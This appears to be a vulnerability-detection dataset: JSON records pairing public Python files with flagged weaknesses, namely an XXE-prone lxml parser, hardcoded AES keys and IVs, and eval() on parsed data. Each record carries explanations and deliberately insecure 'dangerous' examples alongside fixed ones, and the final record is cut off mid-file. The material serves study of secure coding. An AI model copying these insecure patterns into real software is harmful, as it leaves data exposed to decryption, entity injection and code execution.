{"id": "1b33c93fcef6229d68ffc6542ba2b31a53ba24d970f7eeb786b6b09dab50bb9a", "license": {"spdx": ["MIT"], "repo": "rcbull/erpbrasil.edoc.pdf", "path": "src/erpbrasil/edoc/pdf/__init__.py", "repo_head_hexsha": "9cea84efc1e3d0a2060753e4eecefffed97c77df", "stack_hexsha": "78e391e916d86d9e9f369d5ae195a6910458d4e2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Improper XML External Entity Reference", "issueDescriptionEn": "The Improper XML External Entity Reference vulnerability may occur due to improper settings that process an XML external entity on the server. When the vulnerable XML parser processes the XML that contains a reference to the external entity, the attack statement injected by the attacker is executed.\nIt might create another malicious attack such as access to server files, unnecessary usage of resources, authentication bypass, or information exposure.\nPython provides a basic XML parser that can be used for parsing and manipulating simple XML data.\nHowever, the parser does not support validation. It does not support an external entity as well, but can be vulnerable to other XML attacks.\nSet `resolve_entities` option to false, which blocks texts from converting into entity in parsing.", "issueLineNumber": 8, "entireCode": "from lxml import etree\nfrom lxml import objectify\n\n__version__ = '0.1.1'\n\nlookup = etree.ElementNamespaceClassLookup(\n objectify.ObjectifyElementClassLookup())\nparser = etree.XMLParser()\nparser.set_element_class_lookup(lookup)", "dangerousExampleEn": "1. from xml.sax import make_parser\n2. from xml.sax.handler import feature_external_ges\n3. from xml.dom.pulldom import parseString, START_ELEMENT\n4. from django.shortcuts import render\n5. from .model import comments\n6. \n7. def get_xml(request):\n8. \tif request.method == \"GET\":\n9. \t\tdata = comments.objects.all()\n10. \t\tcom = data[0].comment\n11. \t\treturn render(request, '/xml_view.html', {'com':com})\n12. \n13. \telif request.method == \"POST\":\n14. \t\tparser = make_parser()\n15. \t\tparser.setFeature(feature_external_ges, True)\n16. \t\tdoc = parseString(request.body.decode('utf-8'), parser=parser)\n17. \t\tfor event, node in doc:\n18. \t\t\tif event == START_ELEMENT and node.tagName == \"foo\":\n19. \t\t\t\tdoc.expandNode(node)\n20. \t\t\t\ttext = node.toxml()\n21. \t\tcomments.objects.filter(id=1).update(comment=text);\n22. \t\treturn render(request, '/xml_view.html')\nLine 15: It is insecure because the second parameter of setFeature() is set to true.", "safeExampleEn": "1. from xml.sax import make_parser\n2. from xml.sax.handler import feature_external_ges\n3. from xml.dom.pulldom import parseString, START_ELEMENT\n4. from django.shortcuts import render\n5. from .model import comments\n6. \n7. def get_xml(request):\n8. \tif request.method == \"GET\":\n9. \t\tdata = comments.objects.all()\n10. \t\tcom = data[0].comment\n11. \t\treturn render(request, '/xml_view.html', {'com':com})\n12. \n13. \telif request.method == \"POST\":\n14. \t\tparser = make_parser()\n15. \t\tparser.setFeature(feature_external_ges, False)\n16. \t\tdoc = parseString(request.body.decode('utf-8'), parser=parser)\n17. \t\tfor event, node in doc:\n18. \t\t\tif event == START_ELEMENT and node.tagName == \"foo\":\n19. \t\t\t\tdoc.expandNode(node)\n20. \t\t\t\ttext = node.toxml()\n21. \t\tcomments.objects.filter(id=1).update(comment=text);\n22. \t\treturn render(request, '/xml_view.html')\nLine 15: It is secure because the second parameter of setFeature() is set to false.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "pythonchk.WEAK_XML_TRANSFORMERS_SECURITY.PYTHON.defect.lxml", "params": {"arg0": "lxml.etree.XMLParser", "arg1": "resolve_entities"}}]}} {"id": "fef40d2d3bccfdb65baed97f4e8c071345d93d475e3ea5ac69a95e84a7090b88", "license": {"spdx": ["MIT"], "repo": "hackerghost93/Encrypted_FTP", "path": "Server/server.py", "repo_head_hexsha": "6d4b79fa0f3b9989a5c340c2859b53c4f7bc0970", "stack_hexsha": "76c1957fa3e62fb50e20aef92a66bad4d263db88", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Hardcoded Encryption Key", "issueDescriptionEn": "The Hardcoded Encryption Key checker finds encryption keys hardcoded in source code.\nHardcoded encryption keys present in source code can be used to decrypt ciphertext data back into the original information in case it leaks. Encryption keys are often hardcoded in the wrong assumption that their exposal poses no significant security threat, although some hash functions can possibly be reversed by brute-force attacks. In addition, hardcoded encryption keys are not easy to change.\nMake sure encryption keys never assume constant values. And, even if in ciphertext, they should not be hardcoded in source code.", "issueLineNumber": 11, "entireCode": "from multiprocessing import Process\nfrom Crypto.Cipher import AES\nimport os\nimport sys\nimport threading\nimport socket\nimport platform\n\n\nprinting_lock = threading.Lock()\nobj = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')\ncounterTcp = 0\ncounterUdp = 0\n\n\ndef udp_handler(client_socket, address, number, data, filename='ahmed.txt'): # this will take an address and send the file to the client\n print('udp client is starting ' ,address)\n if os.path.isfile(filename):\n print('file is valid ');\n file_size = os.path.getsize(filename)\n #socket.sendto(str(file_size).zfill(25), address) # sending size\n else:\n print(\"'file couldn't be found thread is terminating'\")\n return -1\n with open(filename, 'rb') as f:\n while True:\n bytes_to_send = f.read(1024)\n if bytes_to_send != b'':\n if len(bytes_to_send) % 16 != 0:\n bytes_to_send += bytes('\\0'*(16-len(bytes_to_send)%16),'utf-8')\n print(bytes_to_send)\n ciphertext = obj.encrypt(bytes_to_send)\n print(ciphertext)\n else:\n ciphertext = obj.encrypt(bytes_to_send)\n else:\n ciphertext = b''\n client_socket.sendto(ciphertext, address)\n if bytes_to_send == b'':\n print('file completed of thread', number)\n break\n print('thread number', number, 'is terminating')\n\n\ndef tcp_handler(client_socket, address, number, filename='ahmed.txt'):\n print('tcp client', number, 'is starting with address', str(address))\n if os.path.isfile(filename):\n # print('file is valid ');\n file_size = str(os.path.getsize(filename))\n print('file size is',file_size)\n #assert isinstance(file_size, object)\n client_socket.send(bytes(file_size,'utf-8')) # sending size\n else:\n print(\"'file couldn't be found thread is terminating'\")\n client_socket.close()\n return -1\n print('sending file')\n with open(filename, 'rb') as f:\n while True:\n bytes_to_send = f.read(1024)\n if bytes_to_send != b'':\n if len(bytes_to_send) % 16 != 0:\n bytes_to_send += bytes('\\0' * (16 - len(bytes_to_send) % 16), 'utf-8')\n print(bytes_to_send)\n ciphertext = obj.encrypt(bytes_to_send)\n print(ciphertext)\n else:\n ciphertext = obj.encrypt(bytes_to_send)\n else:\n ciphertext = b''\n client_socket.send(ciphertext)\n if bytes_to_send == b'': # terminating condition\n print('file completed of thread', number)\n break\n client_socket.close()\n print('thread number', number, 'is terminating')\n\n\ndef udp_server(name):\n print(name)\n threads = []\n host = '127.0.0.1'\n port = 5671\n connections = 0\n printing_lock.acquire()\n print(name,' process has just started')\n printing_lock.release()\n listener_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket creation\n listener_socket.bind((host, port)) # add to socket the address and port\n #listener_socket.setblocking(0)\n FILE_CONSTANT = 'family.jpeg'\n print('udp process is waiting for any datagram')\n agenda = []\n while True:\n data, address = listener_socket.recvfrom(1024)\n print('data received from address', str(address))\n if address not in agenda:\n agenda.append(address)\n try:\n connections += 1\n t1 = threading.Thread(target=udp_handler, args=(listener_socket, address, connections, data))\n t1.start()\n threads.append(t1)\n except:\n print('cannot be done')\n listener_socket.close()\n\n\ndef tcp_server(name):\n #print(name)\n threads = []\n connections = 0\n host = '127.0.0.1'\n port = 5572\n printing_lock.acquire()\n print(name, ' process has just started')\n printing_lock.release()\n listener_socket = socket.socket()\n listener_socket.bind((host, port))\n listener_socket.listen(1000)\n print('tcp process is waiting to accept any connection')\n while True:\n try:\n connection_socket, address = listener_socket.accept()\n connections += 1\n t1 = threading.Thread(target=tcp_handler, args=(connection_socket, address, connections))\n t1.start()\n t1.join()\n except:\n break\n listener_socket.close()\n\n\ndef main():\n print('current platform',platform.platform())\n print('Main process has just started')\n p1 = Process(target=udp_server, args=('the udp ftp server shadow',))\n p2 = Process(target=tcp_server, args=('the tcp ftp server ghost' ,))\n p1.start()\n p2.start()\n #p1.join()\n #p2.join()\n while True:\n order = input(\"Enter quit to terminate -> \")\n if order == 'quit':\n p1.terminate()\n p2.terminate()\n break\n print('program is terminating.. goodbye')\n\nif __name__ == '__main__': # is running as a script\n main() # run main function", "dangerousExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def bad_enc():\n5. key = b'0123456789'\n6. \n7. cipher_a = AES.new(key)\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: A hard-coded cryptographic key is used in order to perform encryption.", "safeExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def safe_enc():\n5. with open('key.dat', 'rt') as f:\n6. loaded_key = f.readline()\n7. cipher_a = AES.new(bytes(loaded_key, encoding='utf-8')) # safe\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: Do not use the cryptographic key defined as a constant.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "pythonchk.HARD_CODED.CRYPTOGRAPHIC_KEY.PYTHON.defect.crypt", "params": {"arg0": "This is a key123"}}]}} {"id": "9967938c453684103fee2ad64769ee6d80e1fd688e5fa46d6ed06a7fff337dcd", "license": {"spdx": ["MIT"], "repo": "f0rdream/SkyRead", "path": "backend/Backendapi/library/utils.py", "repo_head_hexsha": "798b4dd35b7e6be41e5fed4537d3f6034d20494e", "stack_hexsha": "5352a5060d52e1d3069dd4c4a2c10ff0fccfa3b1", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Hardcoded Encryption Key", "issueDescriptionEn": "The Hardcoded Encryption Key checker finds encryption keys hardcoded in source code.\nHardcoded encryption keys present in source code can be used to decrypt ciphertext data back into the original information in case it leaks. Encryption keys are often hardcoded in the wrong assumption that their exposal poses no significant security threat, although some hash functions can possibly be reversed by brute-force attacks. In addition, hardcoded encryption keys are not easy to change.\nMake sure encryption keys never assume constant values. And, even if in ciphertext, they should not be hardcoded in source code.", "issueLineNumber": 127, "entireCode": "# -*- coding:UTF-8\n# 用户点击借这本书以后,生成信息二维码,加密处理还没加上去\nimport qrcode\nfrom Crypto.Cipher import AES\nfrom binascii import b2a_hex, a2b_hex\n\nfrom bookdata.models import Book\nfrom models import BorrowItem\nimport time\n\n\ndef create_qrcode(id_list, ctime, qrtype, pay_id):\n \"\"\"\n :param bid:表示书籍的唯一id,用isbn号码\n :param ctime: 创建时间,一分钟后过期\n :param type: 二维码类型\n :return:\n \"\"\"\n qr = qrcode.QRCode(\n version =1,\n error_correction = qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\n id = ''\n if not pay_id:\n pay_id = ''\n for i in id_list:\n id += 'b'+ str(i) # 参数最后的样子:id = b1b2b3b56\n url = \"http://115.159.185.170/library/qrcode_info/?ctime=\"+str(ctime)+\\\n \"&id=\"+str(id)+\"&qrtype=\"+qrtype+\"&pay_id=\"+str(pay_id)\n qr.add_data(url)\n qr.make(fit=True)\n img = qr.make_image()\n if qrtype == 'borrow':\n filename = 'media_root/borrow_qrcode/'+str(id) + \".png\"\n url = '/media/borrow_qrcode/'+str(id) + \".png\"\n img.save(filename)\n return url\n elif qrtype == 'return':\n filename = 'media_root/return_qrcode/'+str(id) + \".png\"\n url = '/media/return_qrcode/' + str(id) + \".png\"\n img.save(filename)\n return url\n\n\ndef get_price(id_list):\n sum_price = 0.0\n for id in id_list:\n try:\n borrow_item = BorrowItem.objects.get(id=id)\n isbn13 = borrow_item.isbn13\n try:\n book = Book.objects.get(isbn13=isbn13)\n book_price = float(book.price.split('元')[0])\n sum_price += book_price\n # 这里通过BookModel 拿到价格\n except:\n pass\n except:\n pass\n return sum_price\n\n\ndef create_order_qrcode(book_id,user_id,title,order_id):\n qr = qrcode.QRCode(\n version =1,\n error_correction = qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\n data =\"http://115.159.185.170/library/order_info/?\" \\\n \"book_id=%s&id=%s&title=%s&qrtype=%s&order_id=%s\" % (book_id,user_id,title,'order',order_id)\n qr.add_data(data)\n qr.make(fit=True)\n img = qr.make_image()\n filename = 'media_root/order_qrcode/' + str(order_id)+ \".png\"\n url = '/media/order_qrcode/' + str(order_id) + \".png\"\n img.save(filename)\n return url\n\n\ndef create_return_qrcode(id_list,ctime,qrtype,return_id):\n \"\"\"\n :param bid:表示书籍的唯一id,用isbn号码\n :param ctime: 创建时间,一分钟后过期\n :param type: 二维码类型\n :return:\n \"\"\"\n qr = qrcode.QRCode(\n version =1,\n error_correction = qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=4,\n )\n id = ''\n for i in id_list:\n id += 'b'+ str(i) # 参数最后的样子:id = b1b2b3b56\n url = \"http://172.16.58.3/library/qrcode_info/?ctime=\"+str(ctime) + \\\n \"&id=\" + str(id) + \"&qrtype=\" + qrtype+\"&return_id=\" + str(return_id)\n qr.add_data(url)\n qr.make(fit=True)\n img = qr.make_image()\n if qrtype == 'borrow':\n filename = 'media_root/borrow_qrcode/'+str(id) + \".png\"\n url = '/media/borrow_qrcode/'+str(id) + \".png\"\n img.save(filename)\n return url\n elif qrtype == 'return':\n filename = 'media_root/return_qrcode/'+str(id) + \".png\"\n url = '/media/return_qrcode/' + str(id) + \".png\"\n img.save(filename)\n return url\n elif qrtype == 'quick_return':\n filename = 'media_root/quick_return_qrcode/' + str(id) + \".png\"\n url = '/media/quick_return_qrcode/' + str(id) + \".png\"\n img.save(filename)\n return url\n\n\nkey = \"tangzongyuisgood\"\nmode = AES.MODE_CBC\n# 加密函数,如果text不是16的倍数【加密文本text必须为16的倍数!】,那就补足为16的倍数\n\n\ndef enpwd(text):\n cryptor = AES.new(key, mode,key)\n # 这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用\n length = 16\n count = len(text)\n add = length - (count % length)\n text = text + ('\\0' * add)\n ciphertext = cryptor.encrypt(text)\n # 因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题\n # 所以这里统一把加密后的字符串转化为16进制字符串\n return b2a_hex(ciphertext)\n\n\n# 解密后,去掉补足的空格用strip() 去掉\ndef depwd(text):\n cryptor = AES.new(key, mode, key)\n plain_text = cryptor.decrypt(a2b_hex(text))\n return plain_text.rstrip('\\0')", "dangerousExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def bad_enc():\n5. key = b'0123456789'\n6. \n7. cipher_a = AES.new(key)\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: A hard-coded cryptographic key is used in order to perform encryption.", "safeExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def safe_enc():\n5. with open('key.dat', 'rt') as f:\n6. loaded_key = f.readline()\n7. cipher_a = AES.new(bytes(loaded_key, encoding='utf-8')) # safe\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: Do not use the cryptographic key defined as a constant.", "contexts": [{"lineNo": 127, "eventType": "sink", "messageKey": "pythonchk.HARD_CODED.CRYPTOGRAPHIC_KEY.PYTHON.defect.crypt", "params": {"arg0": "tangzongyuisgood"}}]}} {"id": "a0b37c5e20e8dc1918e9cb5b6158ccf679b15059e6bb30d078eaf508181cbecc", "license": {"spdx": ["BSD-3-Clause"], "repo": "baroncrowley/cryptanalib3", "path": "tests/test_ecb_decrypt_harder.py", "repo_head_hexsha": "dbddffa01930d277b47bf5b15349949e70fe504c", "stack_hexsha": "670c74fd993fd5229335cf49ed8e91e7a14901e2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Hardcoded Encryption Key", "issueDescriptionEn": "The Hardcoded Encryption Key checker finds encryption keys hardcoded in source code.\nHardcoded encryption keys present in source code can be used to decrypt ciphertext data back into the original information in case it leaks. Encryption keys are often hardcoded in the wrong assumption that their exposal poses no significant security threat, although some hash functions can possibly be reversed by brute-force attacks. In addition, hardcoded encryption keys are not easy to change.\nMake sure encryption keys never assume constant values. And, even if in ciphertext, they should not be hardcoded in source code.", "issueLineNumber": 11, "entireCode": "from Crypto.Cipher import AES\nimport ca3 as ca\nfrom Crypto import Random\nimport random\nimport pdb\n\nkey = b'YELLOW SUBMARINE'\niv = Random.new().read(AES.block_size)\nsuffix = b'lol, u tk him 2 da bar|?duh'\n\ncipher = AES.new(key, AES.MODE_ECB)\n\ndef my_encryption_oracle(plaintext):\n return cipher.encrypt(ca.pkcs7_pad(b'A'*random.randint(1,AES.block_size) + plaintext + suffix, AES.block_size))\n\nprint(\"Testing ECB secret suffix decryption (hard)\")\ndecrypted_suffix = ca.ecb_cpa_decrypt(my_encryption_oracle, AES.block_size, verbose=True, hollywood=True)\n\nif decrypted_suffix[:27] != suffix:\n raise Exception('ECB CPA secret suffix with random length prefix decryption failed.')", "dangerousExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def bad_enc():\n5. key = b'0123456789'\n6. \n7. cipher_a = AES.new(key)\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: A hard-coded cryptographic key is used in order to perform encryption.", "safeExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def safe_enc():\n5. with open('key.dat', 'rt') as f:\n6. loaded_key = f.readline()\n7. cipher_a = AES.new(bytes(loaded_key, encoding='utf-8')) # safe\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: Do not use the cryptographic key defined as a constant.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "pythonchk.HARD_CODED.CRYPTOGRAPHIC_KEY.PYTHON.defect.crypt", "params": {"arg0": "['Y','E','L','L','O','W',32,'S','U','B','M','A','R','I','N','E']"}}]}} {"id": "dc472c88376bbfaa5af198fc655baf38023c5adde6a343a855e6e1f9d7ad4551", "license": {"spdx": ["WTFPL"], "repo": "ExaByt3s/hack_scripts", "path": "StegoEncrypt.py", "repo_head_hexsha": "cc801b36ea25f3b5a82d2900f53f5036e7abd8ad", "stack_hexsha": "8c6f69222a4482ea76dc30bd7f2276db4ce44dd7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Hardcoded Encryption Key", "issueDescriptionEn": "The Hardcoded Encryption Key checker finds encryption keys hardcoded in source code.\nHardcoded encryption keys present in source code can be used to decrypt ciphertext data back into the original information in case it leaks. Encryption keys are often hardcoded in the wrong assumption that their exposal poses no significant security threat, although some hash functions can possibly be reversed by brute-force attacks. In addition, hardcoded encryption keys are not easy to change.\nMake sure encryption keys never assume constant values. And, even if in ciphertext, they should not be hardcoded in source code.", "issueLineNumber": 13, "entireCode": "#!/usr/bin/python\n__author__ = 'kilroy'\n# (c) 2014, WasHere Consulting, Inc.\n# Written for Infinite Skills\n\n# need pycrypto package\nfrom Crypto.Cipher import AES\n# need PIL and stepic packages\nimport Image, stepic\nimport binascii\n\n# key has to be 16, 24 or 32 bytes long\ncryptObj = AES.new(\"This is my key42\", AES.MODE_CBC, \"16 character vec\")\n# notice the spaces -- that's to pad it out to a multiple of 16 bytes\nplaintext = \"This is some text we need to encrypt because it's very secret \"\nciphertext = cryptObj.encrypt(plaintext)\n\n# we need to convert to ASCII to store it nicely\nbinval = binascii.b2a_base64(ciphertext)\ni = Image.open(\"bullpuppies.jpg\")\n\nprint(\"ASCII: \", binval)\nstego = stepic.encode(i, binval)\nstego.save(\"stegencrypt.bmp\", \"BMP\")\n\nnewim = Image.open(\"stegencrypt.bmp\")\ndata = stepic.decode(newim).rstrip('\\n')\n\nprint(\"What we have out: \", data)\n# convert from ASCII back to binary\nencrypted = binascii.a2b_base64(data)\n\nnewcryptObj = AES.new(\"This is my key42\", AES.MODE_CBC, \"16 character vec\")\nresult = newcryptObj.decrypt(encrypted)\n\nprint(result)", "dangerousExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def bad_enc():\n5. key = b'0123456789'\n6. \n7. cipher_a = AES.new(key)\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: A hard-coded cryptographic key is used in order to perform encryption.", "safeExampleEn": "1. from Crypto.Cipher import AES, DES\n2. \n3. \n4. def safe_enc():\n5. with open('key.dat', 'rt') as f:\n6. loaded_key = f.readline()\n7. cipher_a = AES.new(bytes(loaded_key, encoding='utf-8')) # safe\n8. cipher_text = cipher_a.encrypt(b'Plain Text Message')\n9. cipher_text += cipher_a.encrypt(b'More Plain Text Message')\n10. result = cipher_text.nonce\nLine 7: Do not use the cryptographic key defined as a constant.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "pythonchk.HARD_CODED.CRYPTOGRAPHIC_KEY.PYTHON.defect.crypt", "params": {"arg0": "This is my key42"}}]}} {"id": "ee80c573848021ac40d57ff0c90a37b68706d5a12a4f3680d164ee9f5977b29e", "license": {"spdx": ["MIT"], "repo": "CopernicusAustralasia/auscophub", "path": "auscophub/geomutils.py", "repo_head_hexsha": "d7e2974898bb3ee9b262281fbd663326c1c48d05", "stack_hexsha": "5e43bc1d2c1ec7458254bf69c84dd1e4e095081a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Code Injection", "issueDescriptionEn": "The security weakness allows an attacker to cause software to behave abnormally by injecting code to change the intended behaviour of the software. If you allow functions that take user input and execute dynamic code, you run the risk of allowing an attacker to execute code that was not intended by the developer, allowing them to take over privileges, bypass authentication, or execute system commands.\nFunctions that can lead to code injection attacks in Python include `eval()`, `exec()`, and others. If you don't validate the arguments of these functions, you can execute the code passed by the attacker.\nAvoid using functions that can execute dynamic code. If necessary, validate them against external input in a whitelist fashion to ensure that they do not accept executable dynamic code as input. Alternatively, filter user input values used in dynamic code to ensure that they contain only valid characters.", "issueLineNumber": 119, "entireCode": "\"\"\"\nSome utility functions for handling the geometries given with Sentinel files. \n\nESA have done a fairly minimal job with their footprint geometries. The routines in this\nfile are mostly aimed at providing a bit more support beyond that, mostly for things like\ncrossing the International Date Line. \n\nIt is assumed that we have access to the GDAL/OGR library, and numpy. \n\nNote on efficiency. \n------------------\nThese routines all operate on the basic ogr.Geometry object. However, since this is \na relatively opaque structure, mostly they will convert to JSON strings and\nuse those to get hold of the coordinates. This means there is a fair bit of\nconverting back and forth, which means we are not at maximum efficiency. There is also\nquite a bit of changing of projection. However, in the context of AusCopHub, this is \nall somewhat negligible compared to doing things like reading and copying ESA zip files. \n\n\"\"\"\nfrom __future__ import print_function, division\n\nimport numpy\nfrom osgeo import ogr, osr\n\n\ndef preventGdal3axisSwap(sr):\n \"\"\"\n Guard the given spatial reference object against axis swapping, when\n running with GDAL 3. Does nothing if GDAL < 3. Modifies the\n object in place.\n See https://gdal.org/tutorials/osr_api_tut.html#crs-and-axis-order\n for details of this issue. \n \"\"\"\n if hasattr(sr, 'SetAxisMappingStrategy'):\n sr.SetAxisMappingStrategy(osr.OAMS_TRADITIONAL_GIS_ORDER)\n\n\ndef findSensibleProjection(geom):\n \"\"\"\n Given a polygon Geometry object in lat/long, work out what would be a suitable projection\n to use with this area, in order to avoid things like the international \n date line wrap-around, or the north/sourth pole discontinuities. \n \n This only makes sense for tiled products, as opposed to long strips which cross \n multiple zones, etc. \n \n Main possible options are UTM in a suitable zone, UPS when near the poles. \n \n Return the EPSG number of the projection. \n \n \"\"\"\n coords = getCoords(geom)\n y = coords[:, 1]\n x = coords[:, 0]\n yMin = y.min()\n yMax = y.max()\n if (yMax - yMin) > 90:\n # We are crossing a lot of latitude, which suggests that we have a \n # long strip> In this case, we don't even bother to suggest an EPSG. \n epsg = None\n elif yMin < -80:\n # We are nearing the south pole, so go with UPS south\n epsg = 32761\n elif yMax > 80:\n # Nearing north pole, so UPS North\n epsg = 32661\n else:\n # Work out a UTM zone. Note that we use the median value to get a rough \n # idea of the centre, rather than the mean, because the mean is subject to all \n # sorts of problems when crossing the date line\n xMedian = numpy.median(x)\n yMedian = numpy.median(y)\n zone = int((xMedian + 180)/6) % 60 + 1\n if yMedian < 0:\n epsgBase = 32700\n else:\n epsgBase = 32600\n epsg = epsgBase + zone\n return epsg\n\n\ndef makeTransformations(epsg1, epsg2):\n \"\"\"\n Make a pair of ogr.CoordinateTransformation objects, for transforming between\n the two given EPSG projections.\n \n Return a tuple\n (tr1to2, tr2to1)\n \n \"\"\"\n sr1 = osr.SpatialReference()\n sr1.ImportFromEPSG(epsg1)\n preventGdal3axisSwap(sr1)\n sr2 = osr.SpatialReference()\n sr2.ImportFromEPSG(epsg2)\n preventGdal3axisSwap(sr2)\n tr1to2 = osr.CoordinateTransformation(sr1, sr2)\n tr2to1 = osr.CoordinateTransformation(sr2, sr1)\n return (tr1to2, tr2to1)\n\n\ndef findCentroid(geom, preferredEpsg):\n \"\"\"\n Given a geometry as a lat/long polygon, find the lat/long centroid, by first projecting\n into the preferred EPSG, so as to avoid discontinuities. The preferredEpsg is one\n in which the polygon ought to make sense (as found, hopefully, \n by the findSensibleProjection() function). \n \n Returns a pair [centroidX, centroidY] in lat/long\n \n \"\"\"\n (projTr, llTr) = makeTransformations(4326, preferredEpsg)\n \n geomProj = copyGeom(geom)\n geomProj.Transform(projTr)\n geomCentroid = geomProj.Centroid()\n geomCentroid.Transform(llTr)\n \n centroidDict = eval(geomCentroid.ExportToJson())\n centroidXY = centroidDict['coordinates']\n return centroidXY\n\n\ndef copyGeom(geom):\n \"\"\"\n Return a copy of the geometry. OGR does not provide a good method for doing this. \n \"\"\"\n geomJson = geom.ExportToJson()\n newGeom = ogr.CreateGeometryFromJson(geomJson)\n return newGeom\n\n\ndef getCoords(geom):\n \"\"\"\n Return the coordinates of the given OGR geometry. Assumes that this is a single \n polygon, and returns a numpy array of the x, y coords, of shape (numPts, 2).\n \n If the polygon has holes, they will be discarded - this is just the outer polygon. \n \n If the geometry is a MultiPoint geom, also return a 2-d array of coords. \n \n \"\"\"\n geomDict = eval(geom.ExportToJson())\n coords = geomDict['coordinates']\n if geomDict['type'] == 'Polygon':\n coordsArray = numpy.array(coords[0])\n elif geomDict['type'] == 'MultiPoint':\n coordsArray = numpy.array(coords)\n else:\n coordsArray = None\n return coordsArray\n\n\ndef geomFromOutlineCoords(coords):\n \"\"\"\n The given list of pairs (or 2-d numpy array) is the (x, y) coords of the polygon outline. \n Return a Polygon ogr.Geometry object. \n \n \"\"\"\n if isinstance(coords, numpy.ndarray):\n coords = coords.tolist()\n geomDict = {'type':'Polygon', 'coordinates':[coords]}\n geom = ogr.CreateGeometryFromJson(repr(geomDict))\n return geom\n\n\ndef geomFromInteriorPoints(coords):\n \"\"\"\n The given list of pairs (or 2-d numpy array) is the (x, y) coords of a set of internal\n points inside a polygon. Returns a MultiPoint Geometry. \n \n \"\"\"\n if isinstance(coords, numpy.ndarray):\n coords = coords.tolist()\n geomDict = {'type':'MultiPoint', 'coordinates':coords}\n geomPoints = ogr.CreateGeometryFromJson(repr(geomDict))\n return geomPoints\n\n\ndef polygonFromInteriorPoints(geom, preferredEpsg):\n \"\"\"\n Given a MultiPoint geometry object in lat/long, create a polygon of the \n convex hull of these points. \n \n First project the lat/long points into the preferred EPSG, so that when we find \n the convex hull, we are not crossing any discontinuities such as the international date \n line. \n \n Return a single polygon geometry in lat/long. \n \n \"\"\"\n (projTr, llTr) = makeTransformations(4326, preferredEpsg)\n\n geomProj = copyGeom(geom)\n geomProj.Transform(projTr)\n geomOutline = geomProj.ConvexHull()\n geomOutline.Transform(llTr)\n return geomOutline\n\n\ndef crossesDateline(geom, preferredEpsg):\n \"\"\"\n Given a Polygon Geometry object, in lat/long, detect whether it crosses the dateline. \n Do this in the projection of the preferred EPSG, so we remove (reduce?) the ambiguity\n about inside/outside. \n \n \"\"\"\n (xMin, xMax, yMin, yMax) = geom.GetEnvelope()\n (projTr, llTr) = makeTransformations(4326, preferredEpsg)\n\n geomProj = copyGeom(geom)\n geomProj.Transform(projTr)\n dateLineGeom = ogr.Geometry(wkt='LINESTRING(180 {}, 180 {})'.format(yMin, yMax))\n try:\n dateLineGeom.Transform(projTr)\n crosses = geomProj.Intersects(dateLineGeom)\n except Exception:\n # If we can't transform into the preferred EPSG, then it seems likely that\n # the geom is nowhere near the date line. \n crosses = False\n return crosses\n\n\ndef splitAtDateline(geom, preferredEpsg):\n \"\"\"\n Given a Polygon Geometry object in lat/long, determine whether it crosses the date line, \n and if so, split it into a multipolygon with a part on either side. \n \n Use the given preferred EPSG to perform calculations. \n \n Return a new Geometry in lat/long. \n \n \"\"\"\n crosses = crossesDateline(geom, preferredEpsg)\n if crosses:\n (projTr, llTr) = makeTransformations(4326, preferredEpsg)\n coords = getCoords(geom)\n (x, y) = (coords[:, 0], coords[:, 1])\n (yMin, yMax) = (y.min(), y.max())\n xMinPositive = None\n xMaxNegative = None\n xGe0 = (x >= 0)\n xLt0 = (x < 0)\n if xGe0.any() > 0 and xLt0.any() > 0:\n xMaxNegative = x[xLt0].max()\n xMinPositive = x[xGe0].min()\n \n # Create rectangles for the east and west hemispheres, constrained by the \n # extent of this polygon. Note that this assumes that we do not\n # cross both the date line, and also the prime (zero) meridian. This may not\n # always be true, notably when we are close to the pole. \n eastHemiRectCoords = [[xMinPositive, yMax], [xMinPositive, yMin], [180, yMin], \n [180, yMax], [xMinPositive, yMax]]\n 